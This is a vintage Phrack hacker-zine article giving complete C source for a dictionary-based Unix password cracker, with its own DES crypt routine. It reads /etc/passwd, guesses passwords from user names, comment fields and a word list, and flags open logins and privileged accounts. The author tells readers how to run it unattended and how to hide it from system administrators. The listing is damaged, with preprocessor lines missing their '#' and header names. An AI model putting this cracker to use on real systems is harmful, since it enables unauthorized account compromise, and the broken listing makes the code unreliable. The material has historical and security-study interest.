==Phrack Inc.== Volume Two, Issue 22, File 6 of 12 ()()()()()()()()()()()()()()()()()()()()()()()()()()() ()() ()() () Yet Another File On Hacking Unix! () () ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ () () By () () () () >Unknown User< () () A special "ghost" writer of Phrack Inc. () ()() ()() ()()()()()()()()()()()()()()()()()()()()()()()()()()() Greetings from The Unix Front... I am unable to use my real alias since it has now become too well known and others are able to associate it with my real name. Let us just say that I have been around for a long time, and can you say "Code Buster"? Obsolete now, nonetheless taught many how to write better ones. The following C code will enable you to ferret out poorly constructed passwords from /etc/passwd. What I mean by poor passwords is obvious, these consist of passwords based on the user's name, and even words found in the dictionary. The most secure password is one that has been constructed from nonsense words, odd combinations of one word, with control characters and numbers thrown in. My program is not able to deal with a decent password, nor did I intend it to. To write something capable of dealing with a secure password would have been incredibly complex, and take weeks to run on even the fastest of cpu's. Locate a dictionary file from your nearest Unix system. This is commonly located in /usr/dict/words. These files will vary from 200K to 5 Megabytes. The more words your dictionary file has in it, the more effective this program will be. The program can do a quick scan based on just the identifying name fields in /etc/passwd or perform a complete scan using the dictionary file. It basically compares one /etc/passwd entry to each word in your dictionary file, until it finds the password, or reaches eof,and begins the scan on the next password. It will take days to process a large /etc/passwd file. When you re-direct the output to a log file, make sure you run some sort of cron daemon that will extract any decoded passwords, and then nulls the log file. I can suggest /bin/nohup for this task since you can log off and the task continues to run. Otherwise, the log file can grow to be megabytes depending on the actual size of the /etc/passwd file and your dictionary..This program,while written with one purpose in mind (obtaining passwords),is also a positive contribution to Unix System Administrators. I run this on several systems nightly, to protect myself! Scanning for user passwords that are easy to hack, and for other insecure conditions ensures that my own systems will not be breached. Unix is still not a secure system, and restoring gigabyte file systems is no fun. I have made the software as portable as possible. It is known to compile on all BSD variants, and System V. I don't suggest that you leave the source laying around on just any system, most System Administrators are known to be particularly nosy . If you do, for God's sake crypt the damned file. These are hard times we have fallen into. The thrill of the telephone network is no more. Mere experimentation is riskier than ever. There is little left, but intellectual challenges in mastering system software and writing interesting software for most of us. As we all get older, the risks have grown less attractive versus the few gains. Someday when I am able to transfer five or six million into my account in Zurich, I may chance it. Until then, may I take the time to wish you all good luck in your endeavors, and be careful! - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - /* Beginning of Program */ include include include define TRUE 1 define FALSE 0 int trace = FALSE; char *dict = NULL; char *word = NULL; char *pwdfile = NULL; char *startid = NULL; FILE *pwdf; FILE *dictf; FILE *logf; char nextword[64]; char preread = FALSE; char pbuf[256]; char id[64]; char pw[64]; char goodpw[64]; main(argc,argv) int argc; char **argv; { char *passwd; char *salt; char *s; char *crypt(); char xpw[64]; char pw2[64]; char dummy[64]; char comments[64]; char shell[64]; char dictword[64]; char gotit; char important; extern int optind; extern char *optarg; int option; int cleanup(); int tried; long time(); signal(SIGTERM,cleanup); signal(SIGQUIT,cleanup); signal(SIGHUP,cleanup); while ((option = getopt(argc,argv, "d:i:p:tw:")) != EOF) switch(option) { case 'd': dict = optarg; break; case 'i': startid = optarg; break; case 'p': pwdfile = optarg; break; case 't': ++trace; break; case 'w': word = optarg; break; default: help(); } if (optind < argc) help(); if (!pwdfile) pwdfile = "/etc/passwd"; openpw(); if (dict) opendict(); while(TRUE) { if (preread) preread = FALSE; else if (!fgets(pbuf,sizeof(pbuf),pwdf)) break; parse(id,pbuf,':'); parse(xpw,pbuf,':'); parse(pw,xpw,','); if (*pw && strlen(pw) != 13) continue; parse(dummy,pbuf,':'); important = (atoi(dummy) < 5); parse(dummy,pbuf,':'); parse(comments,pbuf,':'); gotit = !*pw; if (!gotit && *comments) { strcpy(pw2,pw); do { sparse(pw2,comments); if (!*pw2) continue; if (allnum(pw2)) continue; gotit = works(pw2); if (!gotit) if (hasuc(pw2)) { lcase(pw2); gotit = works(pw2); } } while (!gotit && *comments); if (!gotit) gotit = works(id); } if (!gotit && dict) { resetdict(); tried = 0; do { if (works(nextword)) { gotit = TRUE; break; } if (++tried == 100) { printf(" <%8s> @ %ld\n",nextword,time(NULL)); fflush(stdout); tried = 0; } } while(readdict()); } if (gotit) { if (*pw) printf("** %8s \t- Password is %s\n",id,goodpw); else { parse(shell,pbuf,':'); parse(shell,pbuf,':'); shell[strlen(shell)-1] = 0; printf(" %8s \t- Open Login (Shell=%s)\n",id,shell); } if (important) printf("-------------------------------------------- Loo k!\n"); } else printf(" %8s \t- Failed\n",id); } cleanup(); exit(0); } help() { fprintf(stderr,"Scan by The Unix Front\n"); fprintf(stderr,"usage: scan [-ddict] [-iid] [-ppfile] [-t] [-wword]\n"); exit(1); } cleanup() { if (logf) fclose(logf); } openpw() { char dummy[256]; char id[256]; if (!(pwdf = fopen(pwdfile,"r"))) { fprintf("Error opening specified password file: %s\n",pwdfile); exit(2); } if (startid) { while(TRUE) { if (!(fgets(pbuf,sizeof(pbuf),pwdf))) { fprintf(stderr,"Can't skip to id '%s'\n",startid); exit(3); } strcpy(dummy,pbuf); parse(id,dummy,':'); if (!strcmp(id,startid)) { preread = TRUE; return; } } } } /* Where's the dictionary file dummy! */ opendict() { if (!(dictf = fopen(dict,"r"))) { fprintf("Error opening specified dictionary: %s\n",dict); exit(4); } } resetdict() { char *p; rewind(dictf); if (word) { while(TRUE) { if (!(fgets(nextword,sizeof(nextword),dictf))) { fprintf(stderr,"Can't start with specified word '%s'\n", word); exit(3); } if (*nextword) { p = nextword + strlen(nextword); *--p = 0; } if (!strcmp(word,nextword)) return; } } else if (!(fgets(nextword,sizeof(nextword),dictf))) fprintf(stderr,"Empty word file: %s\n",dict); else if (*nextword) { p = nextword + strlen(nextword); *--p = 0; } } readdict() { int sts; char *p; sts = fgets(nextword,sizeof(nextword),dictf); if (*nextword) { p = nextword + strlen(nextword); *--p = 0; } return sts; } works(pwd) char *pwd; { char *s; if (trace) printf(">> %8s \t- trying %s\n",id,pwd); s = crypt(pwd,pw); if (strcmp(s,pw)) return FALSE; strcpy(goodpw,pwd); return TRUE; } parse(s1,s2,t1) register char *s1; register char *s2; char t1; { char *t2; t2 = s2; while (*s2) { if (*s2 == t1) { s2++; break; } *s1++ = *s2++; } *s1 = 0; while (*t2++ = *s2++); } sparse(s1,s2) register char *s1; register char *s2; { char *t2; t2 = s2; while (*s2) { if (index(" ()[]-/.",*s2)) { s2++; break; } *s1++ = *s2++; } *s1 = 0; while (*t2++ = *s2++); } hasuc(s) register char *s; { while (*s) if (isupper(*s++)) return TRUE; return FALSE; } allnum(s) register char *s; { while(*s) if (!isdigit(*s++)) return FALSE; return TRUE; } lcase(s) register char *s; { while(*s) { if (isupper(*s)) *s = tolower(*s); ++s; } } ifdef HACKED define void int static char IP[] = { 58,50,42,34,26,18,10, 2, 60,52,44,36,28,20,12, 4, 62,54,46,38,30,22,14, 6, 64,56,48,40,32,24,16, 8, 57,49,41,33,25,17, 9, 1, 59,51,43,35,27,19,11, 3, 61,53,45,37,29,21,13, 5, 63,55,47,39,31,23,15, 7, }; static char FP[] = { 40, 8,48,16,56,24,64,32, 39, 7,47,15,55,23,63,31, 38, 6,46,14,54,22,62,30, 37, 5,45,13,53,21,61,29, 36, 4,44,12,52,20,60,28, 35, 3,43,11,51,19,59,27, 34, 2,42,10,50,18,58,26, 33, 1,41, 9,49,17,57,25, }; static char PC1_C[] = { 57,49,41,33,25,17, 9, 1,58,50,42,34,26,18, 10, 2,59,51,43,35,27, 19,11, 3,60,52,44,36, }; static char PC1_D[] = { 63,55,47,39,31,23,15, 7,62,54,46,38,30,22, 14, 6,61,53,45,37,29, 21,13, 5,28,20,12, 4, }; static char shifts[] = { 1,1,2,2,2,2,2,2,1,2,2,2,2,2,2,1, }; static char PC2_C[] = { 14,17,11,24, 1, 5, 3,28,15, 6,21,10, 23,19,12, 4,26, 8, 16, 7,27,20,13, 2, }; static char PC2_D[] = { 41,52,31,37,47,55, 30,40,51,45,33,48, 44,49,39,56,34,53, 46,42,50,36,29,32, }; static char C[28]; static char D[28]; static char KS[16][48]; static char E[48]; static char e2[] = { 32, 1, 2, 3, 4, 5, 4, 5, 6, 7, 8, 9, 8, 9,10,11,12,13, 12,13,14,15,16,17, 16,17,18,19,20,21, 20,21,22,23,24,25, 24,25,26,27,28,29, 28,29,30,31,32, 1, }; void setkey(key) char *key; { register int i, j, k; int t; for(i=0; i < 28; i++) { C[i] = key[PC1_C[i]-1]; D[i] = key[PC1_D[i]-1]; } for(i=0; i < 16; i++) { for(k=0; k < shifts[i]; k++) { t = C[0]; for(j=0; j < 28-1; j++) C[j] = C[j+1]; C[27] = t; t = D[0]; for(j=0; j < 28-1; j++) D[j] = D[j+1]; D[27] = t; } for(j=0; j < 24; j++) { KS[i][j] = C[PC2_C[j]-1]; KS[i][j+24] = D[PC2_D[j]-28-1]; } } for(i=0; i < 48; i++) E[i] = e2[i]; } static char S[8][64] = { 14, 4,13, 1, 2,15,11, 8, 3,10, 6,12, 5, 9, 0, 7, 0,15, 7, 4,14, 2,13, 1,10, 6,12,11, 9, 5, 3, 8, 4, 1,14, 8,13, 6, 2,11,15,12, 9, 7, 3,10, 5, 0, 15,12, 8, 2, 4, 9, 1, 7, 5,11, 3,14,10, 0, 6,13, 15, 1, 8,14, 6,11, 3, 4, 9, 7, 2,13,12, 0, 5,10, 3,13, 4, 7,15, 2, 8,14,12, 0, 1,10, 6, 9,11, 5, 0,14, 7,11,10, 4,13, 1, 5, 8,12, 6, 9, 3, 2,15, 13, 8,10, 1, 3,15, 4, 2,11, 6, 7,12, 0, 5,14, 9, 10, 0, 9,14, 6, 3,15, 5, 1,13,12, 7,11, 4, 2, 8, 13, 7, 0, 9, 3, 4, 6,10, 2, 8, 5,14,12,11,15, 1, 13, 6, 4, 9, 8,15, 3, 0,11, 1, 2,12, 5,10,14, 7, 1,10,13, 0, 6, 9, 8, 7, 4,15,14, 3,11, 5, 2,12, 7,13,14, 3, 0, 6, 9,10, 1, 2, 8, 5,11,12, 4,15, 13, 8,11, 5, 6,15, 0, 3, 4, 7, 2,12, 1,10,14, 9, 10, 6, 9, 0,12,11, 7,13,15, 1, 3,14, 5, 2, 8, 4, 3,15, 0, 6,10, 1,13, 8, 9, 4, 5,11,12, 7, 2,14, 2,12, 4, 1, 7,10,11, 6, 8, 5, 3,15,13, 0,14, 9, 14,11, 2,12, 4, 7,13, 1, 5, 0,15,10, 3, 9, 8, 6, 4, 2, 1,11,10,13, 7, 8,15, 9,12, 5, 6, 3, 0,14, 11, 8,12, 7, 1,14, 2,13, 6,15, 0, 9,10, 4, 5, 3, 12, 1,10,15, 9, 2, 6, 8, 0,13, 3, 4,14, 7, 5,11, 10,15, 4, 2, 7,12, 9, 5, 6, 1,13,14, 0,11, 3, 8, 9,14,15, 5, 2, 8,12, 3, 7, 0, 4,10, 1,13,11, 6, 4, 3, 2,12, 9, 5,15,10,11,14, 1, 7, 6, 0, 8,13, 4,11, 2,14,15, 0, 8,13, 3,12, 9, 7, 5,10, 6, 1, 13, 0,11, 7, 4, 9, 1,10,14, 3, 5,12, 2,15, 8, 6, 1, 4,11,13,12, 3, 7,14,10,15, 6, 8, 0, 5, 9, 2, 6,11,13, 8, 1, 4,10, 7, 9, 5, 0,15,14, 2, 3,12, 13, 2, 8, 4, 6,15,11, 1,10, 9, 3,14, 5, 0,12, 7, 1,15,13, 8,10, 3, 7, 4,12, 5, 6,11, 0,14, 9, 2, 7,11, 4, 1, 9,12,14, 2, 0, 6,10,13,15, 3, 5, 8, 2, 1,14, 7, 4,10, 8,13,15,12, 9, 0, 3, 5, 6,11, }; static char P[] = { 16, 7,20,21, 29,12,28,17, 1,15,23,26, 5,18,31,10, 2, 8,24,14, 32,27, 3, 9, 19,13,30, 6, 22,11, 4,25, }; static char L[32], R[32]; static char tempL[32]; static char f[32]; static char preS[48]; void encrypt(block, edflag) char *block; int edflag; { int i, ii; register int t, j, k; for(j=0; j < 64; j++) L[j] = block[IP[j]-1]; for(ii=0; ii < 16; ii++) { if(edflag) i = 15-ii; else i = ii; for(j=0; j < 32; j++) tempL[j] = R[j]; for(j=0; j < 48; j++) preS[j] = R[E[j]-1] ^ KS[i][j]; for(j=0; j < 8; j++) { t = 6*j; k = S[j][(preS[t+0]<<5)+ (preS[t+1]<<3)+ (preS[t+2]<<2)+ (preS[t+3]<<1)+ (preS[t+4]<<0)+ (preS[t+5]<<4)]; t = 4*j; f[t+0] = (k>>3)&01; f[t+1] = (k>>2)&01; f[t+2] = (k>>1)&01; f[t+3] = (k>>0)&01; } for(j=0; j < 32; j++) R[j] = L[j] ^ f[P[j]-1]; for(j=0; j < 32; j++) L[j] = tempL[j]; } for(j=0; j < 32; j++) { t = L[j]; L[j] = R[j]; R[j] = t; } for(j=0; j < 64; j++) block[j] = L[FP[j]-1]; } char * crypt(pw, salt) char *pw, *salt; { register int i, j, c; int temp; static char block[66], iobuf[16]; for(i=0; i < 66; i++) block[i] = 0; for(i=0; (c= *pw) && i < 64; pw++) { for(j=0; j < 7; j++, i++) block[i] = (c>>(6-j)) & 01; i++; } setkey(block); for(i=0; i < 66; i++) block[i] = 0; for(i=0; i < 2; i++) { c = *salt++; iobuf[i] = c; if(c > 'Z') c -= 6; if(c > '9') c -= 7; c -= '.'; for(j=0; j < 6; j++) { if((c>>j) & 01) { temp = E[6*i+j]; E[6*i+j] = E[6*i+j+24]; E[6*i+j+24] = temp; } } } for(i=0; i < 25; i++) encrypt(block, 0); for(i=0; i < 11; i++) { c = 0; for(j=0; j < 6; j++) { c <<= 1; c |= block[6*i+j]; } c += '.'; if(c > '9') c += 7; if(c > 'Z') c += 6; iobuf[i+2] = c; } iobuf[i+2] = 0; if(iobuf[1] == 0) iobuf[1] = iobuf[0]; return(iobuf); } endif /* end of program */ _______________________________________________________________________________